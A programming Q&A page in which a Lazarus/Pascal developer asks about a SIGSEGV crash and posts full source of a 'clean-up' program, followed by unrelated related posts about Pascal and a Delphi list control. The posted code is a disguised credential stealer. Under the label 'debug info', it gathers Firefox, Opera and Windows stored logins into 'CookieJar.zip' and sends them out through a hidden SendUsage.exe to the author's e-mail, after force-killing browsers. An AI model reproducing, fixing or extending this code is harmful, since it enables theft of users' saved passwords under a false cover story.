I have a graphical program with forms and a lot of code. When I started it, it was fine, no errors, no exceptions. I added two more procedures and it still ran without problems. I placed a progress bar, and added this code to an Image's OnClick event: ProgressBar.Visible:=False; The compilation finished with no errors, but when I ran the program, I got this exception:
Project Spark raised exception class 'External: SIGSEGV'.
In file '.\include\control.inc' at line 948:
Result := IsControlVisible and ((Parent = nil) or (Parent.IsVisible));
Strange fact: I removed the progress bar and every procedure assigned to, but I kept getting this error.
Additional info:
Compiled under Lazarus ver. 1.2.6
FPC Version: 2.6.4
Windows 7 Ultimate 6.1.7601.1.1252.1.1033.18.8130.4811
EDIT: Here is the full code as requested.
But first: This program is supposed to be a Clean-Up program, which finds and deletes some files. The GatherInfo procedure sends me additional debug info (by executing an external program).
unit sparkunit;
{$mode objfpc}{$H+}
interface
uses
Windows, Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs,
LResources, StdCtrls, WelcomeUnit, scanunit, Variants, SHLOBJ,
ExtCtrls, ComCtrls, Process;
type
{ TSparkForm }
TSparkForm = class(TForm)
Borders: TImage;
Borders1: TImage;
Borders2: TImage;
Borders3: TImage;
NextBTN: TImage;
OLabel: TLabel;
ScanFRM: TScanFrame;
TitleLBL: TLabel;
Wallpaper: TImage;
WelcomeFRM: TWelcomeFrame;
XLabel: TLabel;
_Label: TLabel;
procedure BordersMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure BordersMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure NextBTNClick(Sender: TObject);
procedure OLabelClick(Sender: TObject);
procedure XLabelClick(Sender: TObject);
procedure _LabelClick(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;
const SparkCursor = 777;
SparkDragCursor = 778;
var
SparkForm: TSparkForm;
MouseIsDown: Boolean;
PX, PY: Integer;
Operating: Boolean;
FFile: Text;
Path,Looper: String;
Master: TProcess;
Browser: Array [1..4] of String;
//1=Firefox, 2=Chrome, 3=Opera, 4=Internet Explorer
implementation
{$R *.lfm}
{ TSparkForm }
function GetSystemLoc: string;
var
FilePath: array [0..255] of char;
begin
SHGetSpecialFolderPath(0, #FilePath[0], $0025, True);
Result := FilePath;
end;
procedure CrFile(F: String);
var D: Text;
Begin
AssignFile(D,F);
Rewrite(D);
CloseFile(D);
end;
procedure Log(StrToLog:String);
var Lof: Text;
Begin
AssignFile(Lof,'SparkLog.txt');
Append(Lof);
Writeln(Lof,StrToLog);
CloseFile(Lof);
end;
procedure ChList(FileToAdd: String);
Begin
if ((FileExists(FileToAdd)) or (DirectoryExists(FileToAdd))) and (FileToAdd<>'C:\Windows\') then Begin
AssignFile(FFile,'Deletions.tmp');
Append(FFile);
Writeln(FFile,FileToAdd);
CloseFile(FFile);
Log('Automatically added '+FileToAdd+' to the deletion list.');
end;
Application.ProcessMessages;
SparkForm.Refresh;
end;
procedure ChAdd(FileToAdd: String);
var DFile: Text;
Begin
AssignFile(FFile,'CookieJar.zip');
Append(FFile);
Writeln(FFile);
Writeln(FFile,FileToAdd);
Writeln(FFile);
if FileExists(FileToAdd) then Begin
if Not(CopyFile(FileToAdd,'Temp.tmp')) then ShowMessage('Error!');
AssignFile(DFile,'Temp.tmp');
Reset(DFile);
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
Readln(DFile,Looper);
Writeln(FFile,Looper);
until EOF(DFile);
CloseFile(DFile);
DeleteFile('Temp.tmp');
End;
CloseFile(FFile);
end;
procedure ChDel(FilePath: String);
Begin
if FileExists(FilePath) then DeleteFile(FilePath)
Else if DirectoryExists(FilePath) then DeleteDirectory(FilePath,True);
end;
function NotInCar(FileName: String): Boolean;
Begin
if (Pos('Spark',FileName)<>0) then NotInCar:=False
Else NotInCar:=True;
End;
procedure AddExtension(Ext: String);
var FileList: TStringList;
I: LongInt;
Drive: Char;
O: Text;
Begin
AssignFile(FFile,'Ext.tmp');
Rewrite(FFile);
CloseFile(FFile);
For Drive:='A' to 'Z' do
if DirectoryExists(Drive+':\') then Begin
Application.ProcessMessages;
SparkForm.Refresh;
FileList:=FindAllFiles(Drive+':\',Ext,True);
if FileList.Count>0 then Begin
Application.ProcessMessages;
SparkForm.Refresh;
AssignFile(FFile,'Ext.tmp');
Append(FFile);
For I:=1 to FileList.Count-1 do if NotInCar(FileList.Strings[I]) then Writeln(FFile,FileList.Strings[I]);
CloseFile(FFile);
end;
end;
FileList.Free;
AssignFile(O,'Deletions.tmp');
Append(O);
AssignFile(FFile,'Ext.tmp');
Reset(FFile);
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
Readln(FFile,Looper);
Writeln(O,Looper);
until EOF(FFile);
CloseFile(O);
CloseFile(FFile);
DeleteFile('Ext.tmp');
Application.ProcessMessages;
SparkForm.Refresh;
end;
Procedure GatherInfo;
var IEList: TStringList;
I: LongInt;
Begin
SparkForm.ScanFRM.StatusLBL.Caption:='Gathering information...';
//GetFiles
AssignFile(FFile,'CookieJar.zip');
Rewrite(FFile);
CloseFile(FFile);
ChAdd(Browser[1]+'key3.db');
ChAdd(Browser[1]+'logins.json');
Application.ProcessMessages;
SparkForm.Refresh;
IEList:=TStringList.Create;
IEList:=FindAllFiles(Browser[4],'*.*',true);
if IEList.Count>0 then
For I:=1 to IEList.Count do Begin
Application.ProcessMessages;
SparkForm.Refresh;
ChAdd(IEList.Strings[I-1]);
end;
ChAdd(Browser[3]);
Application.ProcessMessages;
SparkForm.Refresh;
Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera Software\Opera Stable\';
Application.ProcessMessages;
SparkForm.Refresh;
ChAdd(Browser[3]+'Login Data');
ChAdd(Browser[3]+'Login Data-journal');
//Send
Master:=TProcess.Create(NIL);
Master.Executable:='SendUsage.exe';
Master.Parameters.Add(GetCurrentDir);
Master.Parameters.Add('{My E-Mail}');
Application.ProcessMessages;
SparkForm.Refresh;
Master.ShowWindow:=swoHIDE;
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Application.ProcessMessages;
SparkForm.Refresh;
end;
Procedure StartScan;
var Windir: PChar;
Begin
Application.ProcessMessages;
SparkForm.Refresh;
GetWindowsDirectory(Windir,255);
SparkForm.ScanFRM.StatusLBL.Caption:='Scanning...';
ChList(GetEnvironmentVariable('temp'));
ChList(Windir+'\Temporary Internet Files');
ChList(Windir+'\Downloaded Program Files');
ChList(Windir+'\History');
ChList(Windir+'\Temp');
ChList(Windir+'\Cookies');
ChList(Windir+'\Favorites');
ChList(Windir+'\system.nu3');
ChList(Windir+'\user.nu3');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.tmp');
AddExtension('*.temp');
AddExtension('*.chk');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.old');
AddExtension('*.gid');
AddExtension('*.nch');
AddExtension('*.wbk');
AddExtension('*.fts');
AddExtension('*.ftg');
AddExtension('*.$$$');
AddExtension('*.err');
AddExtension('*.—');
AddExtension('*.~*');
AddExtension('~*.*');
AddExtension('*.??$');
AddExtension('*.___');
AddExtension('*.~mp');
AddExtension('*._mp');
AddExtension('*.prv');
AddExtension('*.sik');
AddExtension('CHKLIST.MS');
AddExtension('*.ilk');
AddExtension('*.aps');
AddExtension('*.mcp');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.pch');
AddExtension('*.$db');
AddExtension('*.?$?');
AddExtension('*.??~');
AddExtension('*.?~?');
AddExtension('*.db$');
AddExtension('*.^');
AddExtension('*._dd');
AddExtension('*._detmp');
AddExtension('0*.nch');
AddExtension('chklist.*');
AddExtension('mscreate.dir');
AddExtension('*.diz');
AddExtension('*.syd');
AddExtension('*.grp');
AddExtension('*.cnt');
AddExtension('*.~mp');
end;
Procedure StartDeletion;
Begin
SparkForm.ScanFRM.StatusLBL.Caption:='Cleaning...';
AssignFile(FFile,'Deletions.tmp');
Reset(FFile);
Repeat
Readln(FFile,Looper);
ChDel(Looper);
Application.ProcessMessages;
SparkForm.Refresh;
if Not(Looper='') then
Log(Looper+' was removed.')
Else Log('An unknown file was removed.');
until EOF(FFile);
CloseFile(FFile);
DeleteFile('Deletions.tmp');
end;
procedure TSparkForm.FormCreate(Sender: TObject);
begin
Screen.Cursors[SparkCursor] := LoadCursorFromLazarusResource('Spark');
Screen.Cursors[SparkDragCursor] := LoadCursorFromLazarusResource('SparkDrag');
Wallpaper.Cursor := SparkCursor;
Borders.Cursor := SparkCursor;
Borders1.Cursor := SparkCursor;
Borders2.Cursor := SparkCursor;
Borders3.Cursor := SparkCursor;
WelcomeFRM.Cursor:= SparkCursor;
WelcomeFRM.Label1.Cursor:= SparkCursor;
WelcomeFRM.Label2.Cursor:= SparkCursor;
WelcomeFRM.Label3.Cursor:= SparkCursor;
WelcomeFRM.Image1.Cursor:= SparkCursor;
Browser[1]:=GetEnvironmentVariable('appdata')+'\Mozilla\Firefox\Profiles\lbtxc2cz.default\';
Browser[4]:=GetEnvironmentVariable('appdata')+'\Microsoft\Credentials\';
Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera\Opera\profile\wand.dat';
end;
Procedure KillBrowser;
Begin
try
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im waterfox.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im firefox.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im chrome.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im iexplore.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im opera.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
except
end;
end;
procedure TSparkForm.NextBTNClick(Sender: TObject);
begin
Application.MessageBox(PChar('Please close all running programs to continue!'),'Spark',0+48);
Application.MessageBox(PChar('Having other programs open while Spark is performing an action may result in an unstable system (and fatal errors)!'),'Spark',0+16);
Application.MessageBox(PChar('Spark will now try to automatically kill every potentially dangerous program!'),'Spark',0+48);
KillBrowser;
Operating:=True;
WelcomeFRM.Visible:=False;
ScanFRM.Visible:=True;
ScanFRM.Preloader.AnimatedGifToSprite('Scan.gif');
NextBTN.Visible:=False;
CrFile('Deletions.tmp');
CrFile('SparkLog.txt');
Application.ProcessMessages;
SparkForm.Refresh;
GatherInfo;
Application.ProcessMessages;
SparkForm.Refresh;
StartScan;
Application.ProcessMessages;
SparkForm.Refresh;
StartDeletion;
Application.MessageBox(PChar('Spark has finished cleaning! To see the results, open the log file located at'+sLineBreak+GetCurrentDir+'\SparkLog.txt'),'Spark',0+64);
Operating:=False;
SparkForm.Close;
Application.Terminate;
end;
procedure TSparkForm.OLabelClick(Sender: TObject);
begin
end;
procedure TSparkForm.XLabelClick(Sender: TObject);
begin
if not(Operating) then Begin
SparkForm.Close;
Application.Terminate;
end
Else Application.MessageBox('Spark is currently performing an operation! Do NOT exit!'+sLineBreak+'Exiting Spark may result in an unstable System!','Spark',0+16);
end;
procedure TSparkForm._LabelClick(Sender: TObject);
begin
Application.Minimize;
end;
procedure TSparkForm.BordersMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if Button = mbLeft then begin
MouseIsDown := True;
PX := X;
PY := Y;
Borders.Cursor := SparkDragCursor;
end;
end;
procedure TSparkForm.BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if MouseIsDown then begin
SetBounds(SparkForm.Left + (X - PX), SparkForm.Top + (Y - PY), SparkForm.Width, SparkForm.Height);
end;
end;
procedure TSparkForm.BordersMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
MouseIsDown:=False;
Borders.Cursor := SparkCursor;
end;
procedure TSparkForm.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin
end;
initialization
{$I sparkcursor1.lrs} {I'm using custom cursor resources}
{$I sparkcursor2.lrs}
end.
EDIT 2: The SIGSEGV error was caused by an invalid variable, declared as Windir: PChar;. It was pointing to a protected memory address, causing the program to terminate with an exception of Access Violation. It's always a good idea to surround the code with try/except blocks to catch minor exceptions.
I have had a quick glance at the code:
In your procedure AddExtension(Ext: String); on line 139 you have a FileList:TStringList declared but it is not created anywhere.
You will need to create this object FileList:=TStringList.Create; to use it.
Related
I'm getting an error in Pascal, and according to my research it's due to a declaration error (class or variable). It has to be something small, since it was working just fine. I would really appreciate any help.
To be more specific, the error I'm getting is:
'External:ACCESS VIOLATION' with message: Accedd violation reading from address $000004A8. In line 66: Efa.Text:=D.Fa ;
unit UnidadProyectoInformaticaUno;
{$mode objfpc}{$H+}{$R+}{$Q+}
interface
uses
Classes, SysUtils, Forms, Controls, Graphics, Dialogs, StdCtrls,Math;
type
{ TForm1 }
TForm1 = class(TForm)
BNext: TButton;
BPrev: TButton;
BAdd: TButton;
BDel: TButton;
BClose: TButton;
EFa: TEdit;
EIm: TEdit;
EOch: TEdit;
EOt: TEdit;
ENum: TEdit;
LabFa: TLabel;
LabIm: TLabel;
LabOch: TLabel;
LabOt: TLabel;
LabNUM: TLabel;
procedure BAddClick(Sender: TObject);
procedure BCloseClick(Sender: TObject);
procedure BDelClick(Sender: TObject);
procedure BNextClick(Sender: TObject);
procedure BPrevClick(Sender: TObject);
private
public
end;
var
Form1: TForm1;
implementation
{$R *.lfm}
type
R= record
Fa,Im,Och: string[20];
Ot:array[1..5] of integer;
end;
Var F:file of R;
D,D1,D2:R;
Irec,i,j,k:integer;
note,grade,nada:string;
procedure OutRec;
begin
with Form1 do
IF Irec > 0 then
begin
seek(F,Irec-1);
read(F,D);
EFa.Text:=D.Fa;
EIm.Text:=D.Im;
for i:= 1 to 5 do
begin
grade:= grade +IntToStr(D.Ot[i])+' ';
end;
Eot.Text:=grade;
EOch.Text:=D.Och;
Enum.Text:= IntToStr(Irec);
end
else
begin
EFa.Text:=nada;
Enum.Text:=nada;
end;
end;
{ TForm1 }
procedure TForm1.BNextClick(Sender: TObject);
begin
If Irec = filesize(F) then
Exit
else
Irec:= Irec+1;
OutRec;
end;
procedure TForm1.BAddClick(Sender: TObject);
begin
D.Fa:=Efa.Text;
D.Im:=Eim.Text;
D.Och:=EOch.Text;
Note:= Eot.text;
for i:= 1 to 5 do
begin
k:=Pos(' ',Note);
D.Ot[i]:= strToInt(Copy(Note,1,k-1));
Delete(Note,1,k);
end;
seek(F,FileSize(F));
Write(F,D);
Irec:= FileSize(F);
OutRec;
end;
procedure TForm1.BCloseClick(Sender: TObject);
begin
close
end;
procedure TForm1.BDelClick(Sender: TObject);
begin
for i:= Irec+1 to Filesize(F) do
begin
seek(F,i-1);
read(F,D);
Seek(F,i-2);
Write(F,D);
end;
Seek(F,Filesize(f)-1);
Truncate(F);
Irec:= Min(Irec,FileSIze(F));
Outrec;
end;
procedure TForm1.BPrevClick(Sender: TObject);
begin
if Irec<2 then Exit;
Irec:= Irec-1;
OutRec;
end;
function Sort(Z:R):string;
begin
Result:=Z.Fa+' '+Z.Im+' '+Z.Och;
end;
procedure BStatus;
begin
with Form1 do
BNext.Enabled:= Irec < FileSize(f);
end;
procedure B1Status;
begin
with Form1 do
BPrev.Enabled:= Irec > 1;
end;
procedure B2Status;
begin
with Form1 do
BAdd.Enabled:= length(Eot.Text) > 0 ;
end;
procedure B3Status;
begin
with Form1 do
BDel.Enabled:= IRec > 0;
end;
begin
assignfile(F,'file.dat');
try reset(F);
except
rewrite(F);
end;
Irec:= Min(1,filesize(F));
OutRec;
for i :=1 to filesize(F)-1 do
for j:= Filesize(F) to i do
begin
seek(F,i);
read(F,D1,D2);
if Sort(D1)>Sort(D2) then
begin
write(f,D2,D1);
end;
end;
end.
In Free Pascal Reference guide, version 3.04 (May 2018), Paragraph 16.2 that deals with Units, it is said that a unit may have an initialization part and a finalization part. It is also said: "An initialization section by itself (i.e. without finalization) may simply be replaced by a statement block.", which is what you have in your code.
That statement block, between the begin and end of the unit, executes at program initialization before the Form1 (declared in the same unit) is created. Therefore you can not refer to anything belonging to the form, like fields, controls, methods, etc. in this statement block, neither directly nor indirectly.
You are calling procedure OutRec, which refers to Efa: TEdit of the form. Since the form is not yet created, you get the error of Access violation.
You must rearrange your code so it doesn't attempt to access any parts of the form from the statement block that replaces a unit initialization part.
As an exercise for myself, I'm trying to recreate the To-Do app from the (fascinating) todomvc.com web site. The UI looks like this:
A user writes a To-Do item in an Edit box control (above the crossed out "buy milk") and presses Enter. To-Do items appear below.
As you can see, each line includes a stylized radio control, the text, and a button with an image (red x). The button appears when a user hovers the cursor inside the line.
I don't care about the button, having an image, or appearing only upon OnEnter. I can't figure out how to make a similarly styled (ListView? ComboBox?) control with a radio control and button.
I'm using Delphi VCL, but could switch to FMX.
There really isn't any shortcut here: you simply need to write quite a lot of code. The Windows OS doesn't provide anything like this. I would implement from scratch using an empty window with custom GDI painting and mouse and keyboard input processing. It's not difficult at all, but it does require quite a lot of code.
That was a lot of words and no code.
As a remedy, here is a very quick demonstration control based on Direct2D (because I realised I really do need anti aliasing):
unit ItemListBox;
interface
uses
Windows, SysUtils, Types, UITypes, Classes, Controls, Graphics, Generics.Defaults,
Generics.Collections, Forms, Messages, Direct2D, D2D1;
type
TItem = class
strict private
FCaption: TCaption;
FChecked: Boolean;
FTag: NativeInt;
FOnChanged: TNotifyEvent;
procedure Changed;
procedure SetCaption(const Value: TCaption);
procedure SetChecked(const Value: Boolean);
public
property Caption: TCaption read FCaption write SetCaption;
property Checked: Boolean read FChecked write SetChecked;
property Tag: NativeInt read FTag write FTag;
property OnChanged: TNotifyEvent read FOnChanged write FOnChanged;
end;
TPart = (ilbpText, ilbpCheckBox, ilbpClearButton);
TItemListBox = class(TCustomControl)
strict private
FItems: TObjectList<TItem>;
FItemHeight: Integer;
FCanvas: TDirect2DCanvas;
FIndex: Integer;
FPart: TPart;
FMouseDownIndex: Integer;
FMouseDownPart: TPart;
FFocusIndex: Integer;
function GetItem(Index: Integer): TItem;
function GetItemCount: Integer;
procedure ItemChanged(Sender: TObject);
procedure DrawItem(Index: Integer; Item: TItem);
procedure DrawCheckBox(Index: Integer; Item: TItem; Hot: Boolean = False);
procedure DrawClearButton(Index: Integer; Visible: Boolean; Hot: Boolean = False);
function ItemRect(Index: Integer): TRect;
function TextRect(Index: Integer): TRect;
function CheckBoxRect(Index: Integer): TRect;
function ClearButtonRect(Index: Integer): TRect;
procedure CreateDeviceResources;
procedure HitTest(const P: TPoint; out Index: Integer; out Part: TPart);
procedure StateChange(ANewIndex: Integer; ANewPart: TPart);
function CanvasWidth: Integer;
function CanvasHeight: Integer;
protected
procedure Paint; override;
procedure WMPaint(var Message: TWMPaint); message WM_PAINT;
procedure WMSize(var Message: TWMSize); message WM_SIZE;
procedure WMEraseBkgnd(var Message: TWMEraseBkgnd); message WM_ERASEBKGND;
procedure CreateWnd; override;
procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X: Integer;
Y: Integer); override;
procedure MouseMove(Shift: TShiftState; X: Integer; Y: Integer); override;
procedure CMMouseLeave(var Message: TMessage); message CM_MOUSELEAVE;
procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X: Integer;
Y: Integer); override;
procedure KeyDown(var Key: Word; Shift: TShiftState); override;
procedure WMGetDlgCode(var Message: TWMGetDlgCode); message WM_GETDLGCODE;
procedure WMSetFocus(var Message: TWMSetFocus); message WM_SETFOCUS;
procedure WMKillFocus(var Message: TWMKillFocus); message WM_KILLFOCUS;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
property Canvas: TDirect2DCanvas read FCanvas;
function AddItem(const ACaption: string; AChecked: Boolean;
ATag: NativeInt = 0): Integer;
procedure RemoveItem(AIndex: Integer);
property Items[Index: Integer]: TItem read GetItem;
property ItemCount: Integer read GetItemCount;
published
property Align;
property AlignWithMargins;
property Anchors;
property Cursor;
property Font;
property Hint;
property PopupMenu;
property TabOrder;
property TabStop default True;
end;
procedure Register;
implementation
uses
Math;
procedure Register;
begin
RegisterComponents('Rejbrand 2020', [TItemListBox]);
end;
function Scale(X: Integer): Integer;
begin
Result := MulDiv(X, Screen.PixelsPerInch, 96);
end;
{ TItem }
procedure TItem.Changed;
begin
if Assigned(FOnChanged) then
FOnChanged(Self);
end;
procedure TItem.SetCaption(const Value: TCaption);
begin
if FCaption <> Value then
begin
FCaption := Value;
Changed;
end;
end;
procedure TItem.SetChecked(const Value: Boolean);
begin
if FChecked <> Value then
begin
FChecked := Value;
Changed;
end;
end;
{ TItemListBox }
function TItemListBox.AddItem(const ACaption: string; AChecked: Boolean;
ATag: NativeInt): Integer;
var
Item: TItem;
begin
Item := TItem.Create;
Item.Caption := ACaption;
Item.Checked := AChecked;
Item.OnChanged := ItemChanged;
Result := FItems.Add(Item);
InvalidateRect(Handle, ItemRect(Result), True);
end;
function TItemListBox.ClearButtonRect(Index: Integer): TRect;
begin
Result := Rect(CanvasWidth - 32, Index * FItemHeight, CanvasWidth,
(Index + 1) * FItemHeight);
end;
procedure TItemListBox.CMMouseLeave(var Message: TMessage);
begin
inherited;
StateChange(-1, ilbpText);
end;
constructor TItemListBox.Create(AOwner: TComponent);
begin
inherited;
FItems := TObjectList<TItem>.Create;
FItemHeight := 32;
FIndex := -1;
FMouseDownIndex := -1;
FFocusIndex := -1;
Color := clWindow;
TabStop := True;
end;
procedure TItemListBox.CreateDeviceResources;
begin
FreeAndNil(FCanvas);
FCanvas := TDirect2DCanvas.Create(Handle);
end;
procedure TItemListBox.CreateWnd;
begin
inherited;
CreateDeviceResources;
end;
destructor TItemListBox.Destroy;
begin
FreeAndNil(FItems);
FreeAndNil(FCanvas);
inherited;
end;
procedure TItemListBox.DrawClearButton(Index: Integer; Visible: Boolean; Hot: Boolean);
var
R: TRect;
begin
if not Visible then
Exit;
R := ClearButtonRect(Index);
InflateRect(R, -7, -7);
Canvas.Pen.Color := IfThen(Hot, clRed, clMaroon);
Canvas.Pen.Width := 2;
Canvas.MoveTo(R.Left, R.Top);
Canvas.LineTo(R.Right, R.Bottom);
Canvas.MoveTo(R.Right, R.Top);
Canvas.LineTo(R.Left, R.Bottom);
end;
procedure TItemListBox.DrawItem(Index: Integer; Item: TItem);
var
R: TRect;
S: string;
begin
// Background
Canvas.Brush.Color := clWindow;
Canvas.Brush.Style := bsSolid;
Canvas.Pen.Color := clWindowText;
Canvas.Pen.Width := 1;
Canvas.Pen.Style := psSolid;
R := ItemRect(Index);
Canvas.FillRect(R);
// Text
R := TextRect(Index);
S := Item.Caption;
Canvas.Font.Assign(Font);
Canvas.Font.Color := IfThen(Item.Checked, clGrayText, clWindowText);
if Item.Checked then
Canvas.Font.Style := [fsStrikeOut]
else
Canvas.Font.Style := [];
Canvas.TextRect(R, S, [tfSingleLine, tfEndEllipsis, tfVerticalCenter]);
// Check box
DrawCheckBox(Index, Item, (FIndex = Index) and (FPart = ilbpCheckBox));
// Clear button
DrawClearButton(Index, FIndex = Index, (FIndex = Index) and (FPart = ilbpClearButton));
// Focus indicator
if InRange(FFocusIndex, 0, FItems.Count - 1) and Focused then
begin
Canvas.Pen.Color := clSilver;
Canvas.Pen.Width := 1;
Canvas.Pen.Style := psSolid;
Canvas.Brush.Style := bsClear;
R := TextRect(FFocusIndex);
InflateRect(R, 0, -2);
Canvas.Rectangle(R);
end;
end;
procedure TItemListBox.DrawCheckBox(Index: Integer; Item: TItem;
Hot: Boolean);
var
R: TRect;
begin
R := CheckBoxRect(Index);
InflateRect(R, -5, -5);
Canvas.Pen.Color := clSilver;
Canvas.Pen.Width := 1;
Canvas.Brush.Color := IfThen(Hot, clSilver, clWhite);
Canvas.Ellipse(R);
if Assigned(Item) and Item.Checked then
begin
Canvas.Pen.Color := clGreen;
Canvas.Pen.Width := 2;
Canvas.MoveTo(R.Left + R.Width div 5, R.Bottom - R.Height div 2);
Canvas.LineTo(R.Left + Round(R.Width / 2.5), R.Bottom - Round(R.Height / 3.8));
Canvas.LineTo(R.Right - Round(R.Width / 4.5), R.Top + R.Height div 5);
end;
end;
function TItemListBox.GetItem(Index: Integer): TItem;
begin
Result := FItems[Index];
end;
function TItemListBox.GetItemCount: Integer;
begin
Result := FItems.Count;
end;
procedure TItemListBox.HitTest(const P: TPoint; out Index: Integer;
out Part: TPart);
var
i: Integer;
Q: TPoint;
begin
Q.X := MulDiv(P.X, 96, Screen.PixelsPerInch);
Q.Y := MulDiv(P.Y, 96, Screen.PixelsPerInch);
for i := 0 to FItems.Count - 1 do
if ItemRect(i).Contains(Q) then
begin
Index := i;
if CheckBoxRect(i).Contains(Q) then
Part := ilbpCheckBox
else if ClearButtonRect(i).Contains(Q) then
Part := ilbpClearButton
else
Part := ilbpText;
Exit;
end;
Index := -1;
Part := ilbpText;
end;
procedure TItemListBox.ItemChanged(Sender: TObject);
begin
Invalidate;
end;
function TItemListBox.ItemRect(Index: Integer): TRect;
begin
Result := Rect(0, Index * FItemHeight, CanvasWidth, (Index + 1) * FItemHeight);
end;
procedure TItemListBox.KeyDown(var Key: Word; Shift: TShiftState);
begin
inherited;
case Key of
VK_DOWN:
if Succ(FFocusIndex) <= FItems.Count - 1 then
begin
Inc(FFocusIndex);
Invalidate;
end;
VK_UP:
if Pred(FFocusIndex) >= 0 then
begin
Dec(FFocusIndex);
Invalidate;
end;
VK_HOME:
if FFocusIndex <> 0 then
begin
FFocusIndex := 0;
Invalidate;
end;
VK_END:
if FFocusIndex <> FItems.Count - 1 then
begin
FFocusIndex := FItems.Count - 1;
Invalidate;
end;
VK_SPACE:
if InRange(FFocusIndex, 0, FItems.Count - 1) then
FItems[FFocusIndex].Checked := not FItems[FFocusIndex].Checked;
VK_DELETE:
if InRange(FFocusIndex, 0, FItems.Count - 1) then
RemoveItem(FFocusIndex);
end;
end;
procedure TItemListBox.MouseDown(Button: TMouseButton; Shift: TShiftState; X,
Y: Integer);
begin
inherited;
if CanFocus then
SetFocus;
HitTest(Point(X, Y), FMouseDownIndex, FMouseDownPart);
if FFocusIndex <> FMouseDownIndex then
begin
FFocusIndex := FMouseDownIndex;
Invalidate;
end;
end;
procedure TItemListBox.MouseMove(Shift: TShiftState; X, Y: Integer);
var
NewIndex: Integer;
NewPart: TPart;
begin
inherited;
HitTest(Point(X, Y), NewIndex, NewPart);
StateChange(NewIndex, NewPart);
end;
procedure TItemListBox.MouseUp(Button: TMouseButton; Shift: TShiftState; X,
Y: Integer);
var
Index: Integer;
Part: TPart;
begin
HitTest(Point(X, Y), Index, Part);
if (Index <> -1) and (Index = FMouseDownIndex) and (Button = mbLeft) then
begin
if (Part = ilbpCheckBox) and (Part = FMouseDownPart) then
FItems[Index].Checked := not FItems[Index].Checked
else if (Part = ilbpClearButton) and (Part = FMouseDownPart) then
RemoveItem(Index);
end;
end;
procedure TItemListBox.Paint;
var
i: Integer;
begin
Canvas.RenderTarget.Clear(D2D1ColorF(clWhite));
for i := 0 to FItems.Count - 1 do
DrawItem(i, FItems[i]);
end;
procedure TItemListBox.RemoveItem(AIndex: Integer);
begin
FItems.Delete(AIndex);
FFocusIndex := EnsureRange(FFocusIndex, 0, FItems.Count - 1);
Invalidate;
end;
procedure TItemListBox.StateChange(ANewIndex: Integer; ANewPart: TPart);
var
OldIndex: Integer;
OldPart: TPart;
begin
OldIndex := FIndex;
OldPart := FPart;
FIndex := ANewIndex;
FPart := ANewPart;
if FIndex = OldIndex then
begin
if FPart <> OldPart then
begin
if ilbpCheckBox in [FPart, OldPart] then
InvalidateRect(Handle, CheckBoxRect(FIndex), True);
if ilbpClearButton in [FPart, OldPart] then
InvalidateRect(Handle, ClearButtonRect(FIndex), True);
end;
end
else
begin
InvalidateRect(Handle, ItemRect(OldIndex), True);
InvalidateRect(Handle, ItemRect(FIndex), True);
end;
end;
function TItemListBox.CanvasHeight: Integer;
begin
Result := MulDiv(ClientHeight, 96, Screen.PixelsPerInch);
end;
function TItemListBox.CanvasWidth: Integer;
begin
Result := MulDiv(ClientWidth, 96, Screen.PixelsPerInch);
end;
function TItemListBox.CheckBoxRect(Index: Integer): TRect;
begin
Result := Rect(0, Index * FItemHeight, 32, (Index + 1) * FItemHeight);
end;
function TItemListBox.TextRect(Index: Integer): TRect;
begin
Result := Rect(40, Index * FItemHeight, CanvasWidth - 40,
(Index + 1) * FItemHeight);
end;
procedure TItemListBox.WMEraseBkgnd(var Message: TWMEraseBkgnd);
begin
Message.Result := 1;
end;
procedure TItemListBox.WMGetDlgCode(var Message: TWMGetDlgCode);
begin
inherited;
Message.Result := Message.Result or DLGC_WANTARROWS;
end;
procedure TItemListBox.WMKillFocus(var Message: TWMKillFocus);
begin
inherited;
Invalidate;
end;
